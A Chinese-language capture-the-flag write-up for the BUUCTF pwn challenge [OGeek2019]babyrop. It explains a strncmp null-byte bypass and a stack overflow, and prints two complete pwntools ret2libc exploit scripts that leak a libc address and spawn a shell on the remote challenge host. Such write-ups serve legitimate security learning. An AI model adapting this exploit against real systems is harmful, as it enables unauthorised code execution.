[BUUCTF-pwn]——[OGeek2019]babyrop
[BUUCTF-pwn]——[OGeek2019]babyrop
- 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
- 题目:
话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。
在IDA中看看,三个函数挨个点开看看
第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。
第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1是0,返回值必定为0。因此buf的第一个字符为 '\0’即可。
再来看看最后一个函数,a1是上一个函数的返回值。所以a1要稍微大一点。不然一会栈溢出的时候。万一太小是else语句的执行。太小就无法有效栈溢出了a1会长度限制。
别问为什么不在第二个函数里面的read函数栈溢出。问就是因为0x20太小了
所以expolit为
from pwn import *
from LibcSearcher import *p=remote('node3.buuoj.cn',29760)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(binsh)
p.sendline(payload)p.interactive()
孩子信心满满提交了 。结果晴天霹雳
孩子找了好多资料。百思不得其解,耽误了两三天。突然有一天,思绪一动,不会是文件名和模板一样造成的吧。将文件由pwn改为了mian。expolit也改了改。
from pwn import *
from LibcSearcher import *p=remote('node3.buuoj.cn',29760)
elf=ELF('./main')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825payload1='\x00'+'\x07'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload)p.interactive()
直接出结果,孩子裂开。
[BUUCTF-pwn]——[OGeek2019]babyrop相关推荐
- Buuctf(pwn)[OGeek2019]babyrop
发现第二个函数有个read函数,但它是0x20是不能够构成漏洞利用,只是利用它作为中间的一个简单的输出即可; 跳过if判定: 只需在第一次输入时 在最前面加上 '\0' a1上上一次返回的 buf[7 ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN 刷题 1-15题
1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
最新文章
- 十个最值得阅读学习的C开源项目代码
- html5电影在线看,HTML5-电影影评网
- 【python自动化办公03】word操作-文档内容替换
- objective-c中的static
- C++手写a除以b的正余数
- linux单点登录命令,配置RHEV中LINUX 虚拟机使用ACTIVE DIRECTORY(AD域)实现单点登录的方法...
- Go语言学习Day03
- php中用microtime()函数来测试代码运行时间
- spring-boot配置文件中server.context-path不起作用
- 1968年成立,6000亿市值的美的,董事长是怎么做到6点下班的?
- 怎样杀计算机病毒,如何彻底查杀计算机病毒
- 测试固态硬盘写入数据软件,SSD测试软件简要说明
- 最新无广告扒小马客服系统多种商户接入客服等!目前最好的客服系统 跟洽美站仿站网站源码
- 拼多多电商API接口详情
- Java面试知识点(零)Java零碎知识点
- Unreal教学(10)——放置Actor (Placing Actors)
- 滴滴章文嵩:一个人的20年开源热情和国内互联网开源运动
- IMFI DAO World of Balatroon:土地出售即将到来!
- 必须要了解的编程基础--哈希与字符串
- Vue3.0笔记(B站天禹老师)
热门文章
- Linux设备驱动中的并发控制总结
- 【数据结构与算法】之深入解析“零钱兑换II”的求解思路与算法示例
- Swift之深入解析如何自定义操作符
- Git之深入解析如何交互式暂存
- iOS之实现“摇一摇”与“扫一扫”功能
- 用几十行代码实现python中英文分词
- 使用python发送邮件和接收邮件
- python3利用smtplib通过qq邮箱发送邮件
- 深度学习——02、深度学习入门——经典卷积神经网络架构实例——AlexNet
- 【嵌入式】C语言高级编程-地址对齐(07)